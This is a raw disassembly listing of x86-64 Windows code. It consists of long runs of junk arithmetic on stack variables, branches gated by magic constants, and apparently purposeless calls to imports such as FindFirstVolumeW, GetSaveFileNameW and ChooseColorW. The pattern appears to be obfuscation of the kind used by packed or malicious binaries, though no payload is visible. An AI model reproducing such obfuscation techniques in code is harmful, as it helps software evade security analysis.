mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
sar eax, cl
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
jmp 0x1400037d6
cmp dword [rsp + 0x29a8], 0x39aa
ja 0x140003cc0
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x29d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x29a8]
add eax, 0xa0
mov dword [rsp + 0x29a8], eax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4be8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4bd0]
mov qword [rsp + 0x4bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bf0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x33]
xor eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x840], ax
jmp 0x140003a9d
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x2a14], al
cmp byte [rsp + 0x2a14], 0x40
je 0x140003ce9
cmp byte [rsp + 0x2a14], 0x5f
je 0x140003d93
jmp 0x140003e01
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov dword [rsp + 0x2a18], eax
cmp dword [rsp + 0x2a18], 0x4587
je 0x140003d24
jmp 0x140003d46
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x844], ax
jmp 0x140003d57
mov rax, qword [rsp + 0x4bc8]
movzx ecx, word [rax]
call fcn.1400fa180
nop
mov edx, 0xa
lea rcx, [rsp + 0x167f8]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov qword [rsp + 0x4ae8], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
jmp 0x140003e01
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x4bf8], rax
mov dword [rsp + 0x2a1c], 0xd3fa
mov eax, dword [rsp + 0x29bc]
mov dword [rsp + 0x2a20], eax
mov dword [rsp + 0x2a24], 0xdf3d
mov rax, qword [rsp + 0x4b28]
mov qword [rsp + 0x4c00], rax
lea rax, [rsp + 0x32]
mov qword [rsp + 0x4c08], rax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x850], ax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b88]
mov qword [rsp + 0x4c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x29d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ba8]
mov qword [rsp + 0x4c18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov eax, dword [rsp + 0x29b4]
add eax, 0xee
mov dword [rsp + 0x29b4], eax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4bb0]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sar eax, cl
mov word [section..data], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x33]
or eax, ecx
mov byte [rsp + 0x31], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
shl eax, cl
mov word [rsp + 0x850], ax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2a20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
add ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b90]
mov qword [rsp + 0x4c20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4bf8]
shl rax, cl
mov qword [rsp + 0x4b20], rax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x29f0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f0]
and ecx, eax
mov eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b80]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
mov word [rsp + 0x844], ax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
shl eax, cl
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x32], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
xor eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
cmp dword [rsp + 0x29b4], 0x10704
jbe 0x140003e01
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
cmp dword [rsp + 0x2a24], 0xfafb
je 0x1400046d1
mov eax, dword [rsp + 0x29bc]
mov ecx, dword [rsp + 0x2a20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov word [rsp + 0x850], ax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov byte [rsp + 0x33], al
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32], al
mov rax, qword [rsp + 0x4b88]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2958]
shr eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4b28]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
shl eax, cl
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a24]
add eax, 0x86
mov dword [rsp + 0x2a24], eax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4c00]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
xor eax, ecx
mov byte [rsp + 0x30], al
jmp 0x1400043e2
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x36], al
mov dword [rsp + 0x2a28], 0x7cab
mov eax, dword [rsp + 0x29f0]
mov rcx, qword [rsp + 0x4b88]
mov qword [rsp + 0x4c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x29bc], eax
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x2a2c], al
cmp byte [rsp + 0x2a2c], 0xd
je 0x1400047bd
cmp byte [rsp + 0x2a2c], 0x3b
je 0x14000473b
jmp 0x1400048b4
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
lea rcx, [rsp + 0x16fb0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4bd0]
mov qword [rsp + 0x4c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4c00], rax
lea rcx, [rsp + 0x16960]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x4c38], rax
jmp 0x1400048b4
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
imul eax, ecx
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x840]
sub ecx, edx
cmp eax, ecx
jl 0x1400048b4
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x4c40], rax
movabs rax, 0x7da3ab280dc188
cmp qword [rsp + 0x4c40], rax
je 0x14000484e
jmp 0x140004889
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4bf8]
mov rax, qword [rsp + 0x4ba8]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4ba0]
call fcn.1400f9690
nop
jmp 0x1400048b4
lea r9, [rsp + 0x16fb0]
mov r8d, 0x84
lea rdx, [rsp + 0x4ad0]
mov rcx, qword [rsp + 0x4af0]
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov dword [rsp + 0x2a30], eax
cmp dword [rsp + 0x29b0], 0x8d43
jae 0x140004a64
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4bf8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4bd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x29b0]
add eax, 0xbb
mov dword [rsp + 0x29b0], eax
mov eax, dword [rsp + 0x2958]
mov rcx, qword [rsp + 0x4b40]
mov qword [rsp + 0x4c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
sar eax, cl
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
xor eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x35], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov word [rsp + 0x840], ax
jmp 0x1400048b4
mov rax, qword [rsp + 0x4b28]
mov qword [rsp + 0x4c50], rax
cmp qword [rsp + 0x4c50], 0
je 0x140004ab0
movabs rax, 0x7c57243a9006f3
cmp qword [rsp + 0x4c50], rax
je 0x140004a95
jmp 0x140004aeb
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
jmp 0x140004aeb
lea rax, [rsp + 0x4bf8]
mov qword [rsp + 0x4c58], rax
lea rax, [rsp + 0x29bc]
mov qword [rsp + 0x4c60], rax
mov dword [rsp + 0x2a34], 0xdfcb
lea rax, [rsp + 0x4c00]
mov qword [rsp + 0x4c68], rax
lea rax, [rsp + 0x32]
mov qword [rsp + 0x4c70], rax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x4c78], rax
movsx eax, word [rsp + 0x84c]
mov dword [rsp + 0x2a38], eax
cmp dword [rsp + 0x2a38], 0x5ad
je 0x140004c72
cmp dword [rsp + 0x2a38], 0x842
je 0x140004b3a
jmp 0x140004c8e
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov qword [rsp + 0x4c80], rax
movabs rax, 0x7ee66f21c2a2f6
cmp qword [rsp + 0x4c80], rax
je 0x140004b66
jmp 0x140004bf3
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x30]
mov rdx, qword [rsp + 0x4c70]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jne 0x140004bac
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
add eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
jmp 0x140004bf1
lea rcx, [rsp + 0x16820]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x2970], eax
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x31]
add eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2958]
shr eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
jmp 0x140004c70
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b40]
mov qword [rsp + 0x4c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov dword [rsp + 0x2a3c], eax
mov dword [rsp + 0x2a40], 0x10581
lea rax, [rsp + 0x4b20]
mov qword [rsp + 0x4c90], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
jmp 0x140004c8e
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140114150], eax
lea rax, [rsp + 0x840]
mov qword [rsp + 0x4c98], rax
cmp dword [rsp + 0x29f8], 0x6a9b
je 0x1400050a4
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
and eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x34]
add eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b80], rax
mov eax, dword [rsp + 0x2a3c]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [section..data], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x30]
sub eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov eax, dword [rsp + 0x29f8]
add eax, 0x3d
mov dword [rsp + 0x29f8], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x84c], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
shl eax, cl
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x36]
xor eax, ecx
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x2958]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ca0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29bc]
